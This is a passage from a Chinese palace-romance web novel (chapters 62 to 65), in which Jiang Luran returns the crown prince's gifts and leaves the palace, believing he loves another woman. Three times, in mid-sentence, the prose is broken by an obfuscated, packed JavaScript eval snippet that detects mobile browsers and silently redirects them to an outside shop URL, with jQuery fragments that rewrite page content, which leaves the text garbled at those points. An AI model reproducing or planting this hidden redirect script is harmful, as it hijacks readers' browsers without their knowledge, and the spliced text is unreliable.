翠竹再接再厉:“姑娘别再犹豫了,说不定殿下也在等着姑娘,只是殿下好面子,不肯在姑娘面前说出来。” 江露染眉眼动了动,她心中自然也是挂念他的,不若就听翠竹的话,前去看看殿下,也好看看他恢复的怎么样了。 每当政事繁忙,殿下他就不注意自己的身体。 她去看看他也是好的。 江露染拿了一些治疗风寒的药丸,然而还未到正殿之前,她就远远看到殿下和一位姿容姝丽的姑娘,面目平和地说些什么。 女子容貌姝丽,举止有度。 男子举止有度,风度翩翩。 简直称得上郎才女貌,般配非常。 江露染站在原地,感觉周身泛起难以言喻的凉意,这种凉意逐渐蔓延到四肢百骸。 指尖拿着的药丸也凉凉的。 似乎浑身的血液都凝固住了,心脏的位置传来熟悉的疼痛。 翠竹也没有想到会遇到这等场面,神情有些呆住,心中悔恨不已,早知道不让姑娘来了,省的姑娘伤心。 翠竹很快反应过来,她远远瞧着殿下的表情好像也并没有那么开怀,想必殿下还是在等着自家姑娘的吧。 她小心翼翼看了一眼江露染的表情,小声劝慰道:“姑娘,还是去看看殿下吧,毕竟来都来了。” 说不定殿下见了姑娘就会开心起来。 江露染心中逐渐出绝望,她看着远处的身影良久,终于开口,语气也带了几分绝望。 “翠竹,我们还是回去吧。” 看来殿下此时并不需要自己,她还是安分些,不要去打扰殿下和孟姑娘相处了罢。 翠竹:“姑娘!”不可如此颓丧啊,姑娘。 她还想继续劝说,江露染却握紧手中的药丸,头也不回地离开了。 手中的药瓶冰着手心,江露染却感觉到药瓶的凉意直接传递到心底。 直到浑身上下都冻结成冰。 回到明轩阁之后,她独自一人坐了很久,久到她觉得周围的一切都不复存在了,久到她觉得浑身冰冷。 如今殿下已经有了他人,而自己果真到了要离开的时候。 她本来就不是皇宫中人,她会来到这里也不过是因为殿下,如今吸引她继续留在这里的原因已经不复存在。 想来这里也原本就不是她应该来的地方。 她以往果然是在痴心妄想。 如今,她终于可以清醒了。 江露染静静坐了许久,而后缓缓拿下发髻中做工精良的发簪。 簪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14222950|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子很是精美,上面雕刻着一堆栩栩如生的鸳鸯。 鸳鸯象征一生一世,可惜她与殿下应当是没有相守一生的缘分。 或许曾经是有的,但终归是差了一点。 殿下实在不应当挑选这种花纹的,这样看来简直就是太伤感了不是吗。 她都要舍不得摘下了。 可是再舍不得也终究是要摘下的。 那毕竟不是真正属于自己的东西。 孟青霜离开以后,谢知寒看着那碗药膳,静静地放在原地,没有动一下。 他原本想让她拿回去的。 那碗药膳静静放置在桌案之上,一点点变凉了。 谢知寒重新拿回书卷,书上的字迹一个也看不下去,浮躁逐渐从心底蔓延而出。 他到底在期待些什么,他自己也说不上来。 眼前逐渐浮现出晓晓的面容,她低头绣香囊的模样,为自己涂抹药膏的模样,调制茶水的模样,被茶水涩到的模样,小声向他抱怨的模样。 此时都无比清晰的浮现在他面前。 宛如一场生动无比,描摹细致的画卷。 她的样貌,她的喜怒哀乐,都生动无比的展现在他面前。 连小小的细节都被仔细呈现出来。 他在期待晓晓的到来吗,谢知寒在心里也不敢承认,他的确是这么想的。 可是他知晓,他如今已经没有任何期待和想念她的资格。 可是心底的欲望不断蠢蠢欲动。 他想见的不是眼前触不到的画像,他想见见晓晓,想见见无比真实的她这个人。 思虑良久,他终于放下手中的书卷,缓步离开正殿。 江露染将那只发簪取下,将它放在盒子中,还没有收起来,就听到背后传来一阵轻轻的脚步声,随之而来的还有她熟悉至极的檀香味。 她拿着盒子的指尖一顿,此时脑海中有些迟钝,是殿下,他来这里做什么。 难道是将这只簪子取走吗? 她一难过的时候就会抑制不住的胡思乱想。 她就站在自己面前,迟迟不肯回过头来看他。 “晓晓,不肯回头看看孤吗?” 良久,江露染听到他这样说道,声线还是一贯的清冷,只是里面好像蕴含了无数悲伤。 她不懂这是为什么,很大可能是自己感受错了。 殿下,他怎么可能会伤心呢。 他一向都是意气风发的。 她转过身,眼神望着他,瞳孔很淡,以往里面的流光都不见了,取而代之的是一片淡漠。 “殿下,此番前来是有什么事情吗?” 语气也带着漠不关心,像是在对一个毫不相识的人讲话。 谢知寒指尖微动,心脏处再次传来熟悉的疼痛。 “晓晓不要孤了吗?晓晓明明答应过不会离开孤。” 一字一句,像是在质问。 江露染非常不明白殿下的意思,他为什么会这么说呢? 她也不懂他为什么难过。 明明是殿下先抛弃自己的。 她很是不解:“殿下为何如此说,是孟姑娘与殿下说了什么吗?若是孟姑娘不开心,晓晓可以将那只发簪还给殿下。” 也不是什么大事,反正她就要离开这里了。 63. 第 63 章 谢知寒根本就没有想到晓晓会跟自己说出这番话,而他的意思也根本不是跟晓晓要回这只发簪,这只簪子给她了,就是给她了。 他永远都不会跟她要回。 可是此时此刻他的晓晓却在对自己说要将这只簪子还给自己,谢知寒拿过盒中精致的发簪,指尖微微有些发抖,他强硬地将这只簪子簪到她的发间,期间江露染还用手指轻轻地抗争,谢知寒将她的抗争压下。 她实在不明白他的意思:“殿下实在不需要这样。” 左右不过一只簪子,倒也不至于如此。 他看着她有些不在乎的模样,强自压下喉中的颤抖之意。 缓缓调整好自己的语气,对她道:“晓晓,这是给你的,孤不会将它送给其他人。” 江露染看着他无比郑重的模样,心底泛起酸意,其实她也很久没有与殿下这样相处过了。 心中还是有些想念的。 谢知寒离开明轩阁后,一连好几日都没有再来。 江露染虽然表面上不显,但还是很担心他的风寒有没有好,但是想起上次在东宫看到的那一幕,她又有些害怕,生怕再看到那样的场面。 殿下与孟姑娘无比亲密地在一起。 而她自己倒像是个局外之人。 事实上她好像的确也变成了局外之人。 示意这次她决定摘一些有助于风寒治愈的花做成香囊,让翠竹给殿下送过去。 或许殿下并不想要,但是她马上就要离开了,为殿下留下一些东西也是好的。 就当是香囊代替自己陪伴在殿下身边。 在东宫就有花房,即使寒冷的冬日也有宫人在那里培育鲜花。 她到了花房,挑选了几束对治愈风寒有效的花枝,打算离开的时候,听到背后有人叫住了自己。 “姑娘,这些日子你过的还好吗?” 声音听上去有些熟悉。 江露染回过身,就看到一个侍卫站在自己身后,面上一脸关切。 她有些疑惑,自己好像从未见过他。 “你是?” 眼看面前姝丽倾城的少女对自己任何印象也无,侍卫手忙脚乱地解释。 “姑娘,还记不记得那日我与姑娘曾在明轩阁中说过话。” 江露染望了一会儿他的脸庞,在脑海中回溯。 终于想起来他是谁。 他就是那日在明轩阁与自己搭话的侍卫,那时她心中一心只想着谢知寒,根本就没有抬起头来看。 但是却记住了他的声音。 “我想起来了,我们的确说过话,多谢你关心,我很好。” 只是,她明明记得那个侍卫曾在明轩阁当差,怎么此时来到了这里。 “是殿下罚你了吗?” 侍卫一愣,而后才反应过来江露染说的是什么。 “不,是我自己犯了错,殿下才让我来这里了当差。” 虽然殿下心悦江姑娘,他自己也深知殿下让他来这里就是因为当时他与江姑娘说了几句话。 明明知道面前的少女讲话就是犯错,不知道会有什么样的后果。 可是他就是控制不住自己的心,自从上次一见他的心底几乎全是她的模样。 根本忘不掉。 此时此刻也是这样,明明知道江姑娘只是在花房逗留片刻,或许以后再也不会来,他也会再也见不到她。 他不应该与她说话,不应该让自己的道路再出现偏差。 可是,即便心中知道的如此清楚,他还是控制不住自己。 就想问问她过的好不好。 此时听见她亲口对自己说很好,他的心也可以就此放下。 谢知寒今日刚好经过花房,平日里他很少来花房这边,今日不知怎地,很想来花房走一走。 而后,他就知道今日为何执意要来花房,原来是晓晓在这里。 但是他又不那么愉快,因为看到晓晓在和他人讲话,亲密无间的样子。 而且那个人他还认识。 是曾经和晓晓搭讪的侍卫。 晓晓明明说过不认识他的。 此时此刻却和他举止那样亲密,他的晓晓甚至还朝他笑了一下。 谢知寒身侧的手指蜷起,眸色深沉,周围的气氛瞬间冷凝起来。 本来就是冬日,室外的温度本来就很冷,南风站在谢知寒身边,只觉得更冷,宛如新年夜江姑娘堆的那个雪人。 他看了不远处的江姑娘一眼,心里轻叹一声,殿下和江姑娘到底何时才能恢复如初。 他夹在中间真是太不好受了。 还有那个侍卫,上一次因为什么才来的花房,现在还明知故犯,他是不是真的以为殿下的脾气真的很好。 殿下他,其实只是对着江姑娘一个人脾气好。 江露染回答完侍卫的话就出了花房,并没有多说什么。 即使不是因为殿下,她也知道宫规森严,不可以随意御制。 何况她现在还没有离开皇宫,更是不能给殿下留下话柄。 她刚踏出花房,就看到花房外站着一个熟悉至极的身影。 是殿下。 他周身散发着寒气,似乎在这里站了很久。 江露染即使距离他很远,也可以清晰地感知到来自他身上凛冽的寒意。 她敏锐地察觉道,他在生气。 可是殿下的怒意似乎来的毫无道理。 其实这个时候还没有做好准备与他相见,毕竟上次相处的实在不算愉快。 可是殿下他就站在唯一的出口,好像也实在躲不过去。 谢知寒看着她在原地踌躇,似乎在犹豫要不要问候他。 他心底的怒意更盛。 与之前的侍卫说的亲密相见,与自己就是一副躲避的模样。 他以往怎么不知道他的晓晓竟然如此善变。 他眸色更加深沉,翻涌着凛冽的墨色。 南风缓缓向后退了几步,他可不想在殿下与江姑娘的交锋中溅到自己身上血。 江露染对着谢知寒行了个礼,唤他一声殿下,就打算从他身边经过。 然而,谢知寒却在她经过他的瞬间,很快握住她的手臂。 力气倒是不重,可是他握的很紧,她根本逃脱不了分毫。 任由他将自己拉到他面前。 “殿下!”她是人,不是一个任由他肆意牵扯的物品。 他对她的抗议置若罔闻。 “晓晓与他说了什么?” 她与别人说话关殿下什么事,他现在应该关心的难道不应该是孟姑娘么,他今天真的很奇怪!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233478|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我与他什么都没有说。” 她语气平缓,看上去仿佛对他的反应丝毫也不在意。 “况且,这关殿下什么事。” 关他什么事。 她竟然说她的事情与自己无关。 上次她要还给自己发簪他就已经尽力在克制了。 但实在没有想到今日他的晓晓会更过分。 她竟然说与他无关。 谢知寒胸腔中一股不知名的愤怒蒸腾而起。 他缓缓靠近她,他周身的檀香染上了浓重的寒气,江露染莫名向后退了一步。 然而这简单的退步在谢知寒眼中就是她在逃避自己。 心中的愤怒和酸涩越发严重。 他的晓晓竟然在躲着自己。 她明明才对自己说过,她是永远属于他的。 谢知寒将她困于角落,方寸之地,而后控制住她的腰肢,在她唇上附上一个不容逃避的吻。 南风和翠竹早就转过了身去。 江露染只是生气今日他真的很奇怪,说不上来的别扭。 一个吻结束,她脑子里有些昏沉沉的,本来好像应该继续跟他发脾气,但是此时好像又没有了发脾气的必要。 今天实在太混乱了,她只想早些回去。 谢知寒看出她的意图,对着她道:“孤送你回去。” 他今日不用去与孟姑娘相处吗? 江露染抬头看他一眼,望见的却是谢知寒不容置喙的神色。 谢知寒握住她的手腕,他指尖的凉意顺着她的皮肤蔓延向里。 殿下他究竟在外面站了多久。 行至半途,天上突然飘起了雪粒子,很快,雪粒子就变成雪花,簇簇的从天际落下来。 南风和翠竹谁也没有想到会突然下雪,谁也没有带伞。 谢知寒脱下自己的氅衣披在江露染身上,可是这样殿下会受凉,他已经不知受了多少寒风。 况且这点小雪她自然还是受得住。 谢知寒不容置喙的将自己的衣服披在她身上,严严实实地裹住,不让她受任何一丝寒风的侵袭。 雪花却一片一片落在他自己身上。 而他却对寒冷毫无所觉。 一路无话,其实江露染在方才意识到自己好像不应当用那种语气对殿下讲话。 毕竟,这件事情中殿下他也是没有错处的。 她想跟他道歉,缓和一下两人之间的气氛。 只是不知道该如何开口。 若是直接对他说,殿下会不会觉得自己方才是在欲擒故纵。 可是,她方才并没有那个意思。 谢知寒握着她的手腕,她的手腕纤细,明明已经让小厨房坐了很多补身体的膳食,可是似乎一点效用也没有。 前方是簇簇的落雪,很快眼前就弥漫着漫长的白色。 好像一眼也忘不掉尽头。 他心中突然生出一种可怜的希冀。 他希望这条路永无止境,这样,他就可以一直握着晓晓的手前行,直至生命的尽头。 没有毒药,没有半年之期,没有什么孟姑娘。 他身边只有她,而她身边亦只有他。 谢知寒望着漫天的雪,想,他和晓晓这样一直走下去,也算是另一种方式的白头罢。 64. 第 64 章 他很想用力将她拥入自己怀中,此生此世也不放开手,他的指尖微微向前移动了一点点,就听到身后传来一阵细密的脚步声,是宫人很快赶来的步伐。 或许是哪里出了什么事。 但是此时再也没有比牵住晓晓的手更重要的事。 宫人急促的声音很快传来:“殿下,披香殿孟姑娘晕倒了。” 简短而急促的一句话语。 似乎真的是急的不知道该如何办才好。 谢知寒微微地皱眉,连身侧的翠竹和南风也皱眉,殿下和江姑娘好不容易有了一个独处的机会,虽说天气的确是有点冷,但是丝毫不影响两个人火热的心。 说不准两个人还能解开以往的心结呢。 好不容易走到这里,面前还有很长的一段路要走呢,这就被孟姑娘打断了。 真是太可惜了。 真想让殿下和江姑娘再单独相处一会儿啊。 谢知寒伸出的手指慢慢收回,他姿态清隽地站在原地,银白的雪花落在他身上,很快消散在他的发丝之中,带来一阵明显清晰的寒意。 他面色看上去淡淡的,但是身侧的宫人却明显感觉出来自殿下周身的不善。 似乎,自己是做了什么很不该做的事情。 可是,他也只是据实禀报,若是孟姑娘那里真的出了什么事,那才让自己真的担待不起。 “晕倒了就去找太医,孤倒是不知孤何时可以看病问诊了?” 这话虽是反问,但已经带了明显的拒绝意味。 宫人一时没有想到殿下会如此回答,殿下一向举止有度,对待宫人也是谦和的,今日这样明显不善的话语还是第一次从殿下那里听见。 原来殿下,也是会有这一面的。 可是,孟姑娘是突然晕倒的,若是殿下不去,出了事可怎么办。 宫人站在原地犹豫不已,眼看着那位孟姑娘是个不俗的人,或许还会有坦荡的前途,若是自己今日将殿下唤过去了,孟姑娘说不定会记自己一个好处,可眼下,好像得不到这个好处了。 江露染本来想跟殿下道歉,前两天好像不应该那样对他,态度似乎有些不好。 只是刚想开口,就听到来自披香殿的宫人如此说,孟姑娘晕倒了。 若是晕倒了,孟姑娘应当会很想殿下前去陪同的。 殿下...他是不是因为自己在这里所以不好意思开口呢。 虽然从心底里生出一阵难以言喻的酸楚,但是她知道此时是不可以让殿下为难的。 她拢紧他的氅衣,上面清晰的檀香味逐渐传来,让她心中有了稍许安慰。 她静静地看着他,说出口的话也透露出一股平静,像是不再对他抱有任何期待。 “殿下,孟姑娘此时一定很需要你,殿下可以去孟姑娘那里,不必担心我。” 说完,江露染头也不回地向前走了。 她害怕自己再犹豫一会儿,就要舍不得他离开了。 其实,她也是不想让他离开的。 她多想让他永远陪伴在自己身边,永如初见的模样。 可是,宫中的事永远都不在自己的希冀之中。 她唯一能做的,就是看着他逐渐远离自己。 转眼之间,江露染就已经走出了很远,翠竹一愣,面色露出可惜,但还是很快就跟上了江露染的步伐。 姑娘她怎么走的这么快呢,在等一等,说不定,殿下就留下了呢。 不过,那好像也不是姑娘的性格。 她离开的背影是那样决绝,谢知寒看着晓晓头也不回地离开,掌心慢慢合拢,手心传来一阵刺痛。 其他人需要自己,那晓晓此时就不需要自己了吗? 任何人都可以将自己推开,可是唯有晓晓不行。 她曾经答应过自己的,永远不离开自己,怎么可以在此时食言。 宫人还是想跟自己争取一个机会,见缝插针对着谢知寒道:“殿下,孟姑娘那里...?” 谢知寒看也不看,淡淡的语气中透露出不耐。 宫人能从中听到一阵明显的冰寒。 “去找太医,孤还有事。” 说罢就不再理睬宫人,径直向前而去。 他此时只想追上前方那道小小的身影。 谁也不能阻拦他。 谢知寒一路跟随,终于跟上江露染的身影,她的发丝被风吹的飘起来,很快又落下。 跟她本人一样单薄。 此时天气越发的冷了,雪粒子落在脸颊上,带来冰凉的触感。 可是无论如何也比不上心中的凉意。 一想到殿下此时会在其他人身边,江露染心中就抑制不住的生出酸楚。 殿下他,此时一定和那位名满京城的孟姑娘和乐融融。 哪里还会想到自己呢? 或许在殿下心中,自己只不过就是一个过客罢了。 自己是真的应该离开这里了。 不应该再停留。 思及此,江露染手指触摸着殿下披在自己身上的衣服,衣料华美,上面传来淡淡的檀香味,那是她心中不忍割舍的味道。 可是,如今,即使在不愿割舍也应该留下。 这是殿下的物品,不属于自己。 不仅仅是一件衣服,即便是殿下整个人,也是不属于自己的。 既然决定要离开,那么就不应该再留下任何念想。 如此想着,江露染将氅衣脱下。 翠竹一惊,看着姑娘就这样随意的将殿下的衣服留在自己怀中,很是不明所以。 姑娘她...这是什么意思? 这可是殿下留给姑娘的,怎么如此轻易就脱下了呢? 江露染看着翠竹不解的眼神,对着她轻轻解释:“明日就将衣服还给殿下吧,毕竟是殿下的衣服,留在我这里不太好。” 若是被其他人看到了说不定会误会的。 翠竹难以置信,但还是对着江露染道了声是。 谢知寒在身后看到了这一幕,他本来想触碰她的指尖缓缓停下,她说的话他自然也听到了,他不明白,明明此时的风很大,夹杂着簇簇的落雪声。 可是晓晓的话还是一字一句,无比清晰的传递过来。 明明是简短的话语,却像锋利的刀刃刺进他的心里。 她无比随意地将自己的衣服递到宫人手中,语气是那样的不在意,似乎他变成了一个非常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244629|144588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多余人。 连带着他的衣物也被晓晓嫌弃了。 他平生有史以来第一次感受到不知如何是好的滋味。 他仿佛没有再进一步的理由,但是又不想简单地后退,只能站在原地,任凭越来越大的风雪完全席卷了他。 江露染回到明轩阁中,静静地思考了很久,殿下曾经对自己说过,今年六月是一个极好的日子,非常适宜嫁娶。 虽说她与殿下已经不太可能了,今年六月出嫁的人很有可能是孟姑娘,但是她做不到平静地看着他迎娶他人,是以她若是离宫,就一定要在六月之前离开。 很快就要到祝盈的婚礼,婚礼一结束,谢衡就会带着祝盈和李贵妃前往封地,无召不回京。 因着婚期将至,祝盈前来明轩阁的次数也多了起来,在这深宫之中,除了谢衡,她就只有江露染这一个朋友。 她对她尽情倾诉婚期前的欣喜和不安。 江露染总是倾尽全力地安慰她,告诉她婚期是一件好事,告诉她千万别害怕,一定要做京城中最美的新娘。 祝盈听了这话抬起头来看她,而后摇头。 “江姑娘,你这话说的不对,京中最美丽的新娘不应该是你吗?到时太子殿下一定会为你准备最好的东西,但是我看现在你们俩怎么还是不经常见面?是误会还没有解除吗?我看太子殿下不像是半途而废的人,有什么话你们还是应当说开比较好。” “千万不要错过良人,江姑娘。” 江露染闻言面色一怔,但很快调整过来。 她与殿下,哪里有什么误会,一切不过就是缘分太浅了,而已。 不过,即使她离开了,她也仍旧会在遥远的地方想念他,祝福他。 江露染掩下自己的情绪,对着祝盈道:“七公主怎么说话越来越像个老妈子了,若是结婚的人都这样,那我才不要结婚呢。” “你!”听到江露染如此说自己,祝盈轻轻拍了一下江露染。 最后,祝盈还是认真地对江露染说。 “我希望我们都能好好的,谁都要得到幸福。” 江露染想了想,认真回应她:“会的。” 我们每个人最终都会得到属于自己的幸福。 打探出宫最好的办法就是询问翠竹。 “翠竹,若是想出宫有什么好的办法吗?” 翠竹打扫书架的手停下:“姑娘怎么突然想起问这个?” “没什么,就是过几日就是我父母的忌日,宫中不让祭奠家人,我想出宫祭奠一下他们。” 原来是这样,自己原来是无意之中提起了姑娘的伤心事,翠竹有些不好意思,细细想着:“姑娘若是想出宫,其实也是有个办法,过几日就是乞巧节,宫中会有半个时辰宫人出宫采买的机会,只是半个时辰一到,所有宫人必须都要回来,姑娘可以趁此机会出宫,只是时间会有点短。” 对于,江露染来说,这已经安全足够了。 反正,她只要出了宫,就再也不会回来了。 翠竹还是想不明白,满脸疑问。 “可是,姑娘若是想出宫,直接跟殿下说一声不就好了吗?” 祭奠亲人这么大的事情,殿下一定会同意的。 65. 第 65 章 提起殿下,江露染的神色有一瞬间的黯淡,可是她很快就恢复过来。 她对着翠竹道:“殿下...他有自己的事情。” 这件事绝对不能让他知晓。 毕竟,这次她离开了就不会再回来。 很快就到了祝盈的婚期,因着是昌顺七公主和大胤二皇子的婚期,是以,婚期非常盛大,宫中人纷纷开始准备起来,就连昌顺也再次派出了使臣,代替昌顺国王看着公主出降。 江露染也站在人群之中,看着凤冠霞帔的祝盈,手持团扇掩面,只露出一双清凌凌的眼睛,眼睛中透露出无限的幸福。 江露染看着祝盈由一侧的宫人扶着顺利地上了花轿,在心里对着祝盈道。 公主,你一定会很幸福。 哪怕,我们以后不会再见面。 祝盈婚期过后,很快就到了乞巧节,因着和翠竹达成了商议,江露染要在这日出宫。 翠竹答应江露染会帮她掩饰。 江露染穿上翠竹的衣服,翠竹则换上了江露染的衣服,江露染临走之前翠竹还拉着她的手道:“姑娘,你可得早些回宫来啊,否则被殿下知道,还不知道要怎样惩罚我。” 江露染紧紧回握住她的手,对着她道:“你放心,我...会早些回来,你不会伤到任何惩罚。” 江露染迅速转过身,掩饰住眼神中的歉疚。 她第一次对翠竹说谎,这一次她不会再回来。 到了宫门前,果然见到各个宫的宫人排成一队,在宫门前的守卫下出了宫。 队伍移动的很快,很快就轮到了江露染,守卫要求江露染出示腰牌,江露染拿出早就准备好的东宫腰牌。 守卫一看是东宫的人,立即就放江露染离开。 江露染将腰牌收入袖中,步伐沉稳地一步步离开了皇宫。 她步伐坚定,一次也没有向后看过。 她平静的面色掩饰住了如擂鼓般的心跳,放于一侧的白嫩指尖也有些轻颤。 直到走出很远很远,确定不会有任何宫中之人看到她时,她才敢缓缓回头。 远处的皇宫已经变得很模糊,被大大小小的屋舍酒肆遮掩住,从她的角度,只能看到皇宫顶端的一个角。 甚至看不到东宫的任何建筑。 更不要提明轩阁。 她眼泪终于蔓延而出,浸湿了整个眼眸,她离开的是她此生最爱的人,她曾经承诺过不会离开他半步的殿下。 一年前的一切都历历在目,他是如何救下自己,自己又是如何追随他回宫。 曾经甜蜜的过往都在她面前一一浮现,像是生前的一幕幕走马灯。 可是现在,一切都没有意义。 他有了新的爱人,她也离开了他。 他们,或许以后都不会再见了。 江露染最后看了一眼皇宫的方向,头也不回地向着人群走去。 * 明轩阁。 眼看暮色将至,日光熹微。 出宫采买的宫人纷纷回来了,可是江姑娘却完全没有任何回来的预兆。 一开始,翠竹以为江姑娘是很久没有出宫,是以这次出宫耽误了些时辰。 直到夜色降临,江姑娘还是没有回来。 翠竹才明白过来,自己恐怕是被江姑娘骗了。 江姑娘恐怕是不会回来了。 一想到这里,翠竹后背就出了一身冷汗,她立即脱下江姑娘的衣服,整整齐齐叠好。 这件事还是要立即禀报给殿下,可是自己也算是帮凶,殿下会怎样惩罚自己呢。 一想到这里,翠竹就禁不住打颤。 江姑娘,你这次可将我害惨了。 翠竹还在犹豫,谢知寒已经来到明轩阁。 因着这几日是乞巧节,自己与晓晓这些天一直以来有些话没有说开,今日正适合说开。 清冷的檀香味逐渐蔓延进来,谢知寒看着空荡荡的殿内,只余翠竹一个人,而他想见的人,却完全不见踪影。 他忽然意识到有哪里不对,晓晓以前从未主动出过明轩阁。 心脏那个地方开始发慌,莫名的情绪逐渐掌控了他,从他心底逐渐生出烦躁。 指尖收紧,他静静启唇:“江姑娘呢?” 翠竹此时正沉浸在自己的思绪中,突然响起的声音吓了她一大跳。 她很快反应过来,这是殿下的声音。 殿下,他怎么这么快就来兴师问罪了? 她还没有想好怎么回答。 谢知寒的目光沉沉,犹如一把上好的利刃,由不得翠竹不回答。 此时此刻,也只能听天由命。 希望殿下可以将江姑娘找回来,这样她就还有活着的希望。 翠竹立刻跪伏于地,声音发颤:“殿下...江姑娘出宫去了,到现在也没有回来。” 谢知寒终于明白心中莫名的恐慌来自何处,他所担心害怕的最终还是发生了。 他看的比谁都重要的晓晓,最终还是离开他了。 手心处传来刺痛,谢知寒却完全感受不到。 像是在一瞬间失去了所有感知。 而这一切的来源,都只是一个原因,晓晓不见了。 他瞳孔骤缩,立即派出了东宫的暗卫去找,找不到人不许回来。 无论她在哪里,他也要将她找到,带回来。 告诉她一切的真相。 是他错了,他一开始就不该隐瞒,就该将所有的事情全部告诉她,两个人共同面对。 只是,他明白的太晚了。 翠竹仍旧在殿内颤颤发抖,谢知寒视线落在她身上片刻,最终还是摇摇手,让她出去了。 这是与晓晓最亲密的宫人,若是晓晓回来,看到她不在,应当会很伤心。 谢知寒颓废地坐在小榻之上,殿内已经燃了烛火,可是他没有感觉到任何暖意,只是觉得刺眼。 谢知寒向一侧看去,才看到小榻的桌案之上放着一个信封。 上面是晓晓写的字,只简单写了四个字。 殿下亲启。 谢知寒指尖微颤,拿起信封之时,描述不出是怎样的心情。 见字如面,他甚至不知该如何打开它,他亏欠晓晓的实在太多。 谢知寒最终还是将信件打开,他想看看晓晓到底为自己留了些什么话。 他一个字一个字浏览完,上面写着这一切都是她的主意,请求他不要惩罚翠竹。 而后,简单地祝他和孟姑娘,相濡以沫,白头到老。 而真正留给谢知寒自己的,其实一句话也没有。 谢知寒不可置信,他又将信封再次看了一遍。 的确是,一句话也没有。 他的晓晓,这次是真的不要他了。 他有些颓败,忽然指尖又触碰到一些东西,很凉。 他的指尖微微停顿,眼神中带着明显的逃避意味,似乎意识到了那是什么,可是又不愿意去看。 当真是过了好久,谢知寒才将视线微微移过去,手边放着的是他曾经给她的玉镯,骨哨和簪子。 她当初一字一句承诺,永远不会摘下来的。 现在都物归原主了。 这个会平静撒谎的小骗子。 谢知寒静静看着那些东西,此时他才真正反应过来,晓晓是真的不会再回来了。 这些属于他们过往的东西,晓晓一件也没有带走。 他静静地坐在那里,许久许久都没有动过,像是丢了魂魄。 谢知寒做任何事都是稳操胜券,游刃有余。 全天下似乎没有难不倒他的事情。 可是,谢知寒却清楚地知晓,可以困住他,让他进退不得,没有任何法子的人只有一个。 那就是晓晓。 如今,晓晓终于惩罚自己了。 谢知寒今日才明白过来,他当初彻彻底底地错了,他不应该什么事都瞒着她,应该跟她交代清楚。 这样,晓晓就不会产生误会了。 他从来都没有像现在这样悔恨过。 等晓晓回来,他一定要亲口跟她道歉。 祈求她的原谅。 他甚至吹响了骨哨,动用了母后留下的那批人。 他唯一的目的只有一个,那就是将晓晓完整地带回来。 晓晓身上的毒甚至还没有解。 她怎么可以就这样离开了。 母后的人先回来禀报,说是没有看到江姑娘的身影。 不久,东宫的守卫也回来禀报,说街道之上没有看到江姑娘的身影。 不过,据守卫宫门的侍卫回忆,的确是有一名东宫的宫人出宫了,按照容貌来说,那应该就是江姑娘。 但是,在街道之上问了所有的过路人,纷纷说没有见过江姑娘这样的人。 真是奇怪,按理说怎么都会留下印记,可是就是找不到她的任何踪迹,江姑娘像是凭空消失了。 倒是不知,殿下他是哪里得罪了江姑娘,江姑娘竟然会走的如此彻底。 谢知寒听到消息面色淡淡,看不出他真正的情绪。 只是置于身侧的指尖又白了几分。 他的语气也很平淡,淡淡道一声:“孤知晓了。” 很快,暗卫离开了明轩阁,殿内此时只留下谢知寒一个人。 他此时才意识到,明轩阁是真的非常空旷,而且寒凉。 没有晓晓,哪里都是寒冷的。 他好像一夜之间回到了母后离开的那个夜晚,偌大的宫殿很大很空,宫人们都在做着自己的事情,没有人注意到自己,只有天上的月亮,不断地提醒着自己,他是被抛弃的人。 而此时此刻,天上也恰恰有一轮圆月,只是,以往陪同自己赏月的人已经不在了。 谢知寒捏紧手心的玉镯,玉镯上显现出碧绿无比的颜色,像是夏日葱郁的翠竹。 无论她在哪里,他都要将她找回来。 不仅仅是为了给晓晓解毒,他心中有一个无比强烈的渴望,晓晓,我们不会就这样分开两地的。 * 披香殿。 孟青霜那日突然晕倒,是因为自小就有这种疾病,一到冬天天气冷就会晕倒片刻,小时候家里还找人给她看过这种疾病,大夫说不碍事,给开了几副方子。 后来她也就慢慢习惯了,随着逐渐长大,这种疾病已经很久没有复发过了,谁料到,昨日竟然又复发了。 她本来想告诉冬竹不要大惊小怪,届时她自己休息休息就好了。 谁料到冬竹是个嘴快的,很快就将这件事禀告给了殿下。 她本意也是不想让殿下知晓的。 毕竟,殿下他每日还有自己的事情要忙,为了自己的这点小事操心实在是不应当。 但是谢知寒没有来,孟青霜心中有点失落。 明明希望殿下不要来,可是亲耳听说他并没有来时心中还是很难过的。 不过她很快就调整好了自己。 不能让其他人看出端倪。 冬竹听说谢知寒没有来,非常地义愤填膺。 “殿下这个人一定又是在陪着那个江姑娘,殿下可真偏心,我们姑娘晕倒了殿下都不过来看看。” 孟青霜听到翠竹如此说,对着冬竹道:“冬竹,你又在胡说些什么。” 